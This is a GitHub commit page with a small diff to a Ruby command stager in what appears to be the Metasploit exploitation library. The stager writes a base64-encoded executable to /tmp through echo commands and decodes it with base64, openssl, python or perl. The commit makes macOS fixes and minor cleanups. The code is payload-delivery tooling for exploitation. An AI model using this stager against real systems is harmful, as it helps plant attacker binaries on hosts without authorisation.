Skip to content

Commit 1a98393

Browse files
committed
fix for OSX and remove unnecessary lines
1 parent 3c03932 commit 1a98393

File tree

1 file changed

+5
-6
lines changed

1 file changed

+5
-6
lines changed

lib/rex/exploitation/cmdstager/bourne.rb

Lines changed: 5 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,6 @@
11
# -*- coding: binary -*-
22
##
3-
# $Id: bourne.rb 12595 2011-05-12 18:33:49Z zeroSteiner $
3+
# $Id: bourne.rb
44
##
55

66
require 'rex/text'
@@ -17,11 +17,10 @@ def initialize(exe)
1717

1818
@var_encoded = Rex::Text.rand_text_alpha(5)
1919
@var_decoded = Rex::Text.rand_text_alpha(5)
20-
@decoder = nil # filled in later
2120
end
2221

2322
def generate(opts = {})
24-
opts.merge!({:temp => '/tmp/'})
23+
opts[:temp] = opts[:temp] || '/tmp/'
2524
super
2625
end
2726

@@ -30,7 +29,7 @@ def generate(opts = {})
3029
#
3130
def generate_cmds(opts)
3231
# Set the start/end of the commands here (vs initialize) so we have @tempdir
33-
@cmd_start = "echo "
32+
@cmd_start = "echo -n "
3433
@cmd_end = ">>#{@tempdir}#{@var_encoded}.b64"
3534
xtra_len = @cmd_start.length + @cmd_end.length + 1
3635
opts.merge!({ :extra => xtra_len })
@@ -71,13 +70,13 @@ def parts_to_commands(parts, opts)
7170
def generate_cmds_decoder(opts)
7271
case opts[:decoder]
7372
when 'base64'
74-
decoder = "base64 -d #{@tempdir}#{@var_encoded}.b64"
73+
decoder = "base64 --decode #{@tempdir}#{@var_encoded}.b64"
7574
when 'openssl'
7675
decoder = "openssl enc -d -A -base64 -in #{@tempdir}#{@var_encoded}.b64"
7776
when 'python'
7877
decoder = "python -c 'import sys; import base64; print base64.standard_b64decode(sys.stdin.read());' < #{@tempdir}#{@var_encoded}.b64"
7978
when 'perl'
80-
decoder = "perl -MIO -e 'use MIME::Base64; print decode_base64(<>);' < #{@tempdir}#{@var_encoded}.b64"
79+
decoder = "perl -MIO -e 'use MIME::Base64; while (<>) { print decode_base64($_); }' < #{@tempdir}#{@var_encoded}.b64"
8180
end
8281
decoder << " > #{@tempdir}#{@var_decoded}.bin"
8382
[ decoder ]

0 commit comments

Comments
 (0)